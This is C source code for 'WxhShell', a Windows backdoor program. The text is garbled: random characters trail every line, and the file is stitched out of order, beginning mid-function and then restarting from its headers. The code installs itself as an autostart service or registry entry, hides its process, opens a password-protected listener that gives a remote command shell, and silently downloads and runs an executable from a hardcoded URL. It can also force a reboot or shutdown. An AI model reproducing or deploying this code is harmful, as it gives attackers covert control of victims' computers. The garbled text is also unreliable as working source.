    if(Boot(SHUTDOWN)) &>hln<a>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `mKK1x  
    else { "=9)|{=m  
    closesocket(wsh); @z(s\T  
    ExitThread(0); vslN([@JR  
    } iIg99c7/&9  
    break; ?yvjX90  
    } cX48?srG  
  // 获取shell Z`@< O%  
  case 's': { Pv3 e*I((  
    CmdShell(wsh); [2zS@p  
    closesocket(wsh); yrR,7v J  
    ExitThread(0); 4)d#dy::\  
    break; X(K5>L>  
  } TfFH!1^+  
  // 退出 %>:d5"&Lbs  
  case 'x': { 9 N@N U:M+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k #/%#rQM  
    CloseIt(wsh); s|C4Jy_  
    break; EA!I& mBq  
    } \H.1I=<  
  // 离开 c(!{_+q"  
  case 'q': { eX{Tyd{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @{8SC~ha  
    closesocket(wsh); 4>(OM|X=9  
    WSACleanup(); 5> =Ia@I   
    exit(1); ZDl(q~4?z  
    break; @jH8x!5u:  
        } .cg"M0  
  } b/'RJQSAc  
  } q,_ 1?A)  
7j\jOkl V  
  // 提示信息 N >+L?C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \-)augq([  
} [+4--#&{  
  } &V7{J9  
/9 soUt  
  return; _cXLQ)-  
} w]Vd IS  
z T#j.v  
// shell模块句柄 rfc;   
int CmdShell(SOCKET sock) KN zm)O  
{ iY4FOt7\  
STARTUPINFO si; NxQ+z^o\  
ZeroMemory(&si,sizeof(si)); pL)o@-k#%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u6u1>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fk:oCPo  
PROCESS_INFORMATION ProcessInfo; Q::6|B,G  
char cmdline[]="cmd"; 0%<x>O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %$I@7Es>  
  return 0; {afR?3GK  
} Qxh 1I?h  
=lqGt.x  
// 自身启动模式 j`kw2(  
int StartFromService(void) X{b qG]j  
{ uE{nnNZy  
typedef struct vOYG&)Jm  
{ B*j AD2  
  DWORD ExitStatus; 2x&mJ}o#k  
  DWORD PebBaseAddress; vFGFFA/K}N  
  DWORD AffinityMask; kkE1CHY  
  DWORD BasePriority; 7tr;adjs  
  ULONG UniqueProcessId; c_^-`7g  
  ULONG InheritedFromUniqueProcessId; 9hIcnPu  
}   PROCESS_BASIC_INFORMATION; O(oGRK<xM  
QC*> qo  
PROCNTQSIP NtQueryInformationProcess; q!+m, !M  
t9B]V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U.HeIJ#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ! FVXNl  
+gQoYlso  
  HANDLE             hProcess; mOvwdRKn  
  PROCESS_BASIC_INFORMATION pbi; +c^[[ K"  
C@i4[g){  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #x;i R8^  
  if(NULL == hInst ) return 0; 3mnq=.<(w  
-Am ~CM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S+EC!;@Xg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -h<Rby  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SMdQ,n1]  
amK.H"  
  if (!NtQueryInformationProcess) return 0; Fn~?YN  
U`fxe`nVa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]Kb3'je  
  if(!hProcess) return 0; A!Ls<D.  
~L.)<{?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'rw nAr  
sOBy)vq?\  
  CloseHandle(hProcess); 5ZkMd !$y  
LMmW3W`   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Be(h x  
if(hProcess==NULL) return 0; J m+;A^;  
;8 D31OT  
HMODULE hMod; 7TjK;w7xS.  
char procName[255]; 7#BpGQJQ  
unsigned long cbNeeded; hw [G  
K2glkGK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _pv<_ Sm  
R8 lBh Ls  
  CloseHandle(hProcess); 45;{tS.z,B  
CYZx/r<  
if(strstr(procName,"services")) return 1; // 以服务启动 P]4C/UDS-~  
BtN@P23>k.  
  return 0; // 注册表启动 v<z%\`y  
} Dog Tj  
6R+m;'  
// 主模块 $(ugnnJ*  
int StartWxhshell(LPSTR lpCmdLine) Jn_;  cN  
{ *hp3w  
  SOCKET wsl; W:^\Oe5&a  
BOOL val=TRUE; %usy`4 2  
  int port=0; a0oM KGW:  
  struct sockaddr_in door; 'K=n}}&:  
\)?[1b&[_  
  if(wscfg.ws_autoins) Install(); \?_eQKiZ3  
&?=UP4[oif  
port=atoi(lpCmdLine); W^Jh'^E  
U[b $VZ}  
if(port<=0) port=wscfg.ws_port; /pvR-Id|6  
bF'^eR  
  WSADATA data; C"I:^&sL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8Ilg[Drj*  
iv*Ft.1t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A3C#w J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n 4:Yc@,  
  door.sin_family = AF_INET; Wv]NFHe#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IG1+_-H:  
  door.sin_port = htons(port); ! `yg bI.  
3rEBG0cf]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ugtb`d{ Sl  
closesocket(wsl); )/u?_)b4"  
return 1; _-^Lr /`G!  
} $~<);dYu0  
at@B>Rb  
  if(listen(wsl,2) == INVALID_SOCKET) { > !thxG/_  
closesocket(wsl); T=|oZ  
return 1; 'G!w0yF  
} LO,G2]  
  Wxhshell(wsl); LB|FVNW/S  
  WSACleanup(); Htseu`>_$  
0i2ZgOJ  
return 0; DbdxHuKa>  
!YlyUHD  
} jj,Y:  
FfnW  
// 以NT服务方式启动 821@qr|`e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mJaWzR  
{ }];8v+M  
DWORD   status = 0; + j._NRXRH  
  DWORD   specificError = 0xfffffff; /h=:heS4$  
V/Q~NX N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \lVxlc0{?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `b^eRnpR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OchIEF "N  
  serviceStatus.dwWin32ExitCode     = 0; 72qbxPY13h  
  serviceStatus.dwServiceSpecificExitCode = 0; 3_JxpQg  
  serviceStatus.dwCheckPoint       = 0; E"e<9  
  serviceStatus.dwWaitHint       = 0; $= /.oh  
Hf ]aA_:   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $0C1';=^}  
  if (hServiceStatusHandle==0) return; 8}FZ1h2 4  
Tz H*?bpP  
status = GetLastError(); S.bB.<  
  if (status!=NO_ERROR) 8S_i;  
{ 8v7;{4^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2YD;Gb[8  
    serviceStatus.dwCheckPoint       = 0; tl|Qw";I  
    serviceStatus.dwWaitHint       = 0; Zk*/~f|\  
    serviceStatus.dwWin32ExitCode     = status; Cf'O*RFD  
    serviceStatus.dwServiceSpecificExitCode = specificError; =FkU: q$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $*ujX,}xG  
    return; zT[[WY4  
  } ] 8sVXZ  
Ij_Y+Mnl4:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fHek!Jv.  
  serviceStatus.dwCheckPoint       = 0; uUXvBA?l  
  serviceStatus.dwWaitHint       = 0; 6mr5`5~w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d^"<Tz!  
} 2<jbNnj  
KXEDpr  
// 处理NT服务事件,比如:启动、停止 ~U+SK4SK:o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rmj?jBKQU  
{ d Ybb>rlu  
switch(fdwControl) ^lCys  
{ ?Xscc mN  
case SERVICE_CONTROL_STOP: #!d@;= [\  
  serviceStatus.dwWin32ExitCode = 0; #M;Cw}pW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0GW(?7ZC  
  serviceStatus.dwCheckPoint   = 0; @GzEhv  
  serviceStatus.dwWaitHint     = 0; R=jIVw'  
  { ">QNiR!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yDBS : \  
  } KUG\C\z6=  
  return; LMchNTL  
case SERVICE_CONTROL_PAUSE: ZzA4iT=KO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [,s{/OM  
  break; Gma)8X#  
case SERVICE_CONTROL_CONTINUE: md_9bq/w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x35(i  
  break; =vx iqRm  
case SERVICE_CONTROL_INTERROGATE: [U_S u,  
  break; ViqcJD  
}; .,t"i C:E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bq5tEn  
} &DC o;Ij;  
Wb:jZ  
// 标准应用程序主函数 T&6W>VQ|[>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PYDf|S7  
{ 'ojI_%9<  
Sr1xG%;|/  
// 获取操作系统版本 (;2J}XQvO~  
OsIsNt=GetOsVer(); {64od0:T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /an$4?":~  
2 fp\s5%J}  
  // 从命令行安装 WyH2` xxX  
  if(strpbrk(lpCmdLine,"iI")) Install(); $Yh7N5XH,  
OHixOI$O  
  // 下载执行文件 5bZf$$b  
if(wscfg.ws_downexe) { #gbJ$1s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `z<k7ig  
  WinExec(wscfg.ws_filenam,SW_HIDE); qiQS:0|_  
} qSh^|;2?R  
+qsNz*@p"  
if(!OsIsNt) { ]r;-Lx{F  
// 如果时win9x,隐藏进程并且设置为注册表启动 ydOJ^Yty  
HideProc(); j,")c'r&dD  
StartWxhshell(lpCmdLine); y=)Cid  
} B`,4M&  
else Rckqr7q  
  if(StartFromService()) .b*%c?e  
  // 以服务方式启动 a=*&OW  
  StartServiceCtrlDispatcher(DispatchTable); #% PnZ /  
else {e4`D1B  
  // 普通方式启动 :4]^PB@dl  
  StartWxhshell(lpCmdLine); 8 ;oU{  
zmk#gk2H  
return 0; sFaboI  
} <%fcs"Mb  
4J3cQ;z  
X_Vj&{  
W%@L7xh  
=========================================== ^nn3;  
1Ao YG_  
,TY&N-  
B.nq3;Y  
[ UN`~  
m'&^\7;D  
" g+Z~"O]$M  
&Pu}"M$[MH  
#include <stdio.h> 1:S75~b-`  
#include <string.h> QGE)Xn#_bN  
#include <windows.h> <4Z;a2l}U  
#include <winsock2.h> 5!Y51R^c  
#include <winsvc.h> A<esMDX  
#include <urlmon.h> FV|/o%XqK  
]i\C4*  
#pragma comment (lib, "Ws2_32.lib") Gz)]1Z{%$  
#pragma comment (lib, "urlmon.lib") ,zmGKn#n2  
z7X[$T$V  
#define MAX_USER   100 // 最大客户端连接数 _:4n&1{.E  
#define BUF_SOCK   200 // sock buffer #Pi}2RBRu  
#define KEY_BUFF   255 // 输入 buffer DuJbWtA  
,&$w*D%  
#define REBOOT     0   // 重启 6A$ \I44  
#define SHUTDOWN   1   // 关机 cl s-x@ Kd  
Q$_S/d%*  
#define DEF_PORT   5000 // 监听端口 G%N3h'zDi  
VHhW_ya1g{  
#define REG_LEN     16   // 注册表键长度 H6Q1r[(B  
#define SVC_LEN     80   // NT服务名长度 %,Fx qw  
][R#Q;y<  
// 从dll定义API NQCJ '%L6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wIT0A-Por4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NYb eIfL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4#H~g @  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m:@-]U@ 6  
T^9k,J(rM  
// wxhshell配置信息 @ m14x}H  
struct WSCFG { ki`7S  
  int ws_port;         // 监听端口 "Xq.b"N{*  
  char ws_passstr[REG_LEN]; // 口令 z Qtg]@S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 48 DC  
  char ws_regname[REG_LEN]; // 注册表键名 ooa>~!91P  
  char ws_svcname[REG_LEN]; // 服务名 |1vi kG8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _B4H"2}[Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {VOLUC o 4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZsjDe{TH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }Xv2I$J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @?,iy?BSG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D&KD5_Sw  
iYE:o{  
}; 9(`d h  
6\4~&+;wL  
// default Wxhshell configuration z)$X/v  
struct WSCFG wscfg={DEF_PORT, c=]z%+,b]  
    "xuhuanlingzhe", ]AjDe]  
    1, Ar@" K!TS  
    "Wxhshell", 5[\mwUA  
    "Wxhshell", 6`$HBX%.K  
            "WxhShell Service", 0&!,+  
    "Wrsky Windows CmdShell Service", w>M8 FG(4]  
    "Please Input Your Password: ",  'Q\I@s }  
  1, mouLjT&p  
  "http://www.wrsky.com/wxhshell.exe", Q)}_S@v|%  
  "Wxhshell.exe" _G]f v'  
    }; VFLxxFJ  
\OMWE/qMy  
// 消息定义模块  +c@s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cTW3\S=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t)Q6A@$:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5v:c@n  
char *msg_ws_ext="\n\rExit."; jr$]kLY  
char *msg_ws_end="\n\rQuit."; ~3YN;St-  
char *msg_ws_boot="\n\rReboot..."; MH;5gC@ `  
char *msg_ws_poff="\n\rShutdown..."; FOz7W  
char *msg_ws_down="\n\rSave to "; wGfU@!m  
Q9v OY8  
char *msg_ws_err="\n\rErr!"; "p<B|  
char *msg_ws_ok="\n\rOK!"; u*#j;Xc  
s>8;At-  
char ExeFile[MAX_PATH]; =?Y%w%2  
int nUser = 0; CT1)tRN  
HANDLE handles[MAX_USER]; fhCMbq4T  
int OsIsNt; a`XXz  
^ ,`;x  
SERVICE_STATUS       serviceStatus; tz{W69k+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FM\yf ]'  
Qs(WyP#  
// 函数声明 Un{hI`3]  
int Install(void); 5.st!Lp1  
int Uninstall(void); (<RZZ{m  
int DownloadFile(char *sURL, SOCKET wsh); {<XPE:1>Y  
int Boot(int flag); =b+W*vUAw  
void HideProc(void); HFV4S]U=  
int GetOsVer(void); ~@8r-[  
int Wxhshell(SOCKET wsl); &6*X&]V!Z  
void TalkWithClient(void *cs); M~ =Bln5  
int CmdShell(SOCKET sock); pa1.+~)  
int StartFromService(void); ZMs$C3  
int StartWxhshell(LPSTR lpCmdLine); $2l<X KT-  
iQryX(z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hrsMAh!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _&0_@  
{<f_,Nlc  
// 数据结构和表定义 S%ULGX:@ga  
SERVICE_TABLE_ENTRY DispatchTable[] = ESdjDg$[u  
{ .GG6wL<$?  
{wscfg.ws_svcname, NTServiceMain}, )m . KV5K!  
{NULL, NULL} Rlvb@aXgy  
}; g8<Ja(J  
.QRa{l_)  
// 自我安装 7s#,.(s  
int Install(void)  WW5AD$P*  
{ * !4r}h`  
  char svExeFile[MAX_PATH]; ? OrRTRW  
  HKEY key; zd1X(e<|{  
  strcpy(svExeFile,ExeFile); F/BB]gUB  
5r#0/1ym!  
// 如果是win9x系统,修改注册表设为自启动 EA@p]+P  
if(!OsIsNt) { 7GN>o@t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O>P792)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )TNAgTmqK  
  RegCloseKey(key); @f<q&K%FJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <pAN{:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y7[D9ZvZ  
  RegCloseKey(key); !/pE6)a  
  return 0; t?& a?6:J  
    } 1=fP68n  
  } W( O)J$j  
} M<'AM4  
else { fB~BVYi  
{.vU;  
// 如果是NT以上系统,安装为系统服务 6I,^4U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 19.+"H  
if (schSCManager!=0) N_AAhD  
{ SJ/($3GkBd  
  SC_HANDLE schService = CreateService v;=F $3  
  ( 6y;R1z b  
  schSCManager, bUR; d78  
  wscfg.ws_svcname, O3Jp:.ps  
  wscfg.ws_svcdisp, yXg #<H6V  
  SERVICE_ALL_ACCESS, -oSfp23u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mJjd2a"vi  
  SERVICE_AUTO_START, !U}dYB:O  
  SERVICE_ERROR_NORMAL, .c#G0t<i[  
  svExeFile, }bwH(OOS  
  NULL, Bismd21F6=  
  NULL, .Y;ljQ  
  NULL, 3ya_47D  
  NULL, ZbS* zKEW  
  NULL `/WX!4eR,  
  ); UZsn14xSA  
  if (schService!=0) E038p]M!  
  { !3]}3jZ.  
  CloseServiceHandle(schService); !3Xu#^Xxj  
  CloseServiceHandle(schSCManager); AQCU\E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &~ =q1?  
  strcat(svExeFile,wscfg.ws_svcname); 8T3j/ D<r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3vs;ZBM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zq(R!a6  
  RegCloseKey(key); Q& p'\6~  
  return 0; Aw]W-fx  
    } r!DUsE  
  } $JH_  
  CloseServiceHandle(schSCManager); #0yU K5J  
} K0681_bp  
} sA( e  
y'gIx*6B@  
return 1; xMck A<E  
} 9rO,h|L   
^cQTRO|  
// 自我卸载 )vO?d~x|  
int Uninstall(void) |2oCEb1  
{ 3zV{cm0  
  HKEY key; B?;!j)FUtt  
b:OQ/  
if(!OsIsNt) { n2<#]2h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +YS0yTWeX  
  RegDeleteValue(key,wscfg.ws_regname); Gag=GHG  
  RegCloseKey(key); OQ,KQ\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :BIgrz"Jz  
  RegDeleteValue(key,wscfg.ws_regname); 7od6`k   
  RegCloseKey(key); %hEhZW{:  
  return 0; Oy> V/  
  } $Tc"7nYu  
} W{z7h[?5,  
} A^ :/*  
else { 3bMQ[G  
mW_B|dM"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a!n |/9 6  
if (schSCManager!=0) *^]lFuX\&E  
{ Us5P?}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eiiI Wr_7  
  if (schService!=0) ]yvHb)X  
  { `%PU_;Y5Q  
  if(DeleteService(schService)!=0) { zOV.cI6fZz  
  CloseServiceHandle(schService);  >^<%9{  
  CloseServiceHandle(schSCManager); DOk(5gR  
  return 0; 7hg)R @OC  
  } ;@I4[4ph}  
  CloseServiceHandle(schService); ^xB=d S~  
  } Gw\-e;,  
  CloseServiceHandle(schSCManager); \NIj&euF  
} D #<)q)  
} _{d0Nm  
r`t|}m  
return 1; x *p>l !  
} x)+3SdH  
]VarO'  
// 从指定url下载文件 4 w$f-   
int DownloadFile(char *sURL, SOCKET wsh) y":Y$v,P  
{ JjD'2"z  
  HRESULT hr; 1Wz -Z  
char seps[]= "/"; Rn"Raq7Cn*  
char *token; s]D&):  
char *file; -!p +^wC  
char myURL[MAX_PATH]; W,\LdQ  
char myFILE[MAX_PATH]; QX1rnVzg0  
dIQxU  
strcpy(myURL,sURL); , [V#o-Z  
  token=strtok(myURL,seps); %xa.{`}`U  
  while(token!=NULL) Xm#E99  
  { 7Nw} }  
    file=token; v>e%5[F  
  token=strtok(NULL,seps); }ZP;kM$g  
  } A7|CG[wZ  
BCrX>Pp }r  
GetCurrentDirectory(MAX_PATH,myFILE); |U~m8e&:  
strcat(myFILE, "\\"); v2vPf b  
strcat(myFILE, file); "s:eH"_s  
  send(wsh,myFILE,strlen(myFILE),0); 'G6M:IXno  
send(wsh,"...",3,0); o~ v   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jp'XZ]o\  
  if(hr==S_OK) +Wr"c  
return 0; LF2@qvwD  
else 'dkKBLsx  
return 1; Myal3UF  
WcG!6.U>  
} t[L_n m5-  
s8/sH];  
// 系统电源模块 U\crp T`  
int Boot(int flag) aJQx"6 c?  
{ Z#J cN quM  
  HANDLE hToken; ~+JE l%  
  TOKEN_PRIVILEGES tkp; Sqc r -  
?Aewp$Bj  
  if(OsIsNt) { Ezvm5~<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xaM? B7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o@p(8=x  
    tkp.PrivilegeCount = 1; PYOU=R%o`8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U}6F B =  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B4/0t:^I  
if(flag==REBOOT) { ? iX1;c9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AGH7z  
  return 0; H 3e(-  
} yMJY6$Ct  
else { m|7lDfpb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^KKU@ab9  
  return 0; qtqTLl@u  
} )_MIUQ%  
  } NI@$"   
  else { >.tP7=  
if(flag==REBOOT) { Ps0 g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FN25,Q8:*I  
  return 0; P 57{  
} C4#EN}  
else { JTK0#+?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #[4MwM3  
  return 0; VcLB0T7m\  
} t Q0vX@I<v  
} &8l4A=l$  
Mp8FYPjZ  
return 1; #6jdv|fu  
} &WqKsH$  
yNVmTb9mF  
// win9x进程隐藏模块 &_DRrp0CN  
void HideProc(void) ?r`UBR+[  
{ {3jV ,S  
sRM3G]nUr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?|&plf |  
  if ( hKernel != NULL ) \Y EV 5  
  { \z/_vzz4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 34@f(^d+^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bZ/4O*B  
    FreeLibrary(hKernel); Cb{n4xKW6  
  } ,>DaS(  
!Q`vOVSUD  
return; C< :F<[H  
} U%Igj:%?;`  
k:+Bex$g  
// 获取操作系统版本 q,<AW>  
int GetOsVer(void) uv:DO6 {  
{ 3\=iB&Gf|  
  OSVERSIONINFO winfo; c]pO'6]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BFCF+hU^6R  
  GetVersionEx(&winfo); _?5$ST@5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2'R& K  
  return 1; EmaVd+Sw  
  else ;+) M~2 =  
  return 0; 4. &t  
} zF& >1y.$  
# j=r  
// 客户端句柄模块 K3c(c%$<R  
int Wxhshell(SOCKET wsl) Oy @vh>RY  
{ =<_ei|ME  
  SOCKET wsh;  qep<7 QO  
  struct sockaddr_in client; \F|L y >g  
  DWORD myID; F$Cf\#{3  
X j'7nj  
  while(nUser<MAX_USER) 5`ma#_zk|f  
{ 64#6L.Q-c  
  int nSize=sizeof(client); *@M7J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2n9E:tc  
  if(wsh==INVALID_SOCKET) return 1; .] S{T  
P]Hcg|&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  IX|2yu4  
if(handles[nUser]==0) lL*k!lNs  
  closesocket(wsh); O_PKS$sz{  
else oEqt7l[I{  
  nUser++; 9$9Pv%F:j  
  } ]t69a4&,#9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #-QQ_  
w85PRruW  
  return 0; -PHVM=:  
} B:YUb{CJ  
zLG5m]G4D  
// 关闭 socket 8Nr,Wq  
void CloseIt(SOCKET wsh) y6[^I'kz  
{ JsOu *9R  
closesocket(wsh); Eua\N<!aai  
nUser--; n3-2;xuNKE  
ExitThread(0); zuWfR&U|W  
} D@Zb|EI%<  
I|6wPV?  
// 客户端请求句柄 }y-b<J ?H  
void TalkWithClient(void *cs) KUC (n!  
{ -L9I;]:KY  
w3^>{2iqq  
  SOCKET wsh=(SOCKET)cs; ;tS4 h  
  char pwd[SVC_LEN]; 9s5PJj"u  
  char cmd[KEY_BUFF]; Wr\rruH6  
char chr[1]; DqLZc01>  
int i,j; :v_H;UU  
%8?s3^ o  
  while (nUser < MAX_USER) { e3+'m  
1 :xN)M,s  
if(wscfg.ws_passstr) { G<1awi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c3\z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |eEcEu?/b  
  //ZeroMemory(pwd,KEY_BUFF); d83K;Ryd  
      i=0; zc<C %t[~y  
  while(i<SVC_LEN) { xh7#\m_U8  
[!@&t:A  
  // 设置超时 zc QFIP  
  fd_set FdRead; `-l, `7e'  
  struct timeval TimeOut; q@;z((45  
  FD_ZERO(&FdRead); ''9FB5  
  FD_SET(wsh,&FdRead); k1A64?p  
  TimeOut.tv_sec=8; a95QDz  
  TimeOut.tv_usec=0; QR!8n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bDLPA27  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }gE?ms4$  
O k-*xd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E(i<3U"4h[  
  pwd=chr[0]; 0@R @L}m  
  if(chr[0]==0xd || chr[0]==0xa) { q4XS E,  
  pwd=0; J%?'Q{  
  break; M <3P  
  } XYbc1+C  
  i++; _)q,:g~fu  
    } d7xd"  
1D /{Y  
  // 如果是非法用户,关闭 socket +U(m b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O -a`A.  
} Kt,ENbF  
e]\{ Ia  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aqTMOWyeu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EUv xil  
} k[gR I]  
while(1) { qDqgU  
`>@n6>f  
  ZeroMemory(cmd,KEY_BUFF); Pv.z~~l Y  
$u"t/_%  
      // 自动支持客户端 telnet标准   =sG9]a<I  
  j=0; wo;`D  
  while(j<KEY_BUFF) { q]%c 6{w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9JHu{r"M  
  cmd[j]=chr[0]; 6?U2Et  
  if(chr[0]==0xa || chr[0]==0xd) { .P[ %t=W  
  cmd[j]=0; "{0 o"k  
  break; p[*NekE6-  
  } +tz^ &(  
  j++; 0&1!9-(d  
    } lNSB "S  
hP4*S^l  
  // 下载文件 G]fl33_}l  
  if(strstr(cmd,"http://")) { lx<]v^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X@u-n_  
  if(DownloadFile(cmd,wsh)) $I%75IZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ku{DdiTg>  
  else L]o 5=K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?XVJ$nzW  
  } YadY?o./  
  else { A &i  
5b_[f(  
    switch(cmd[0]) { vb{+yEa  
  v*Qr(4  
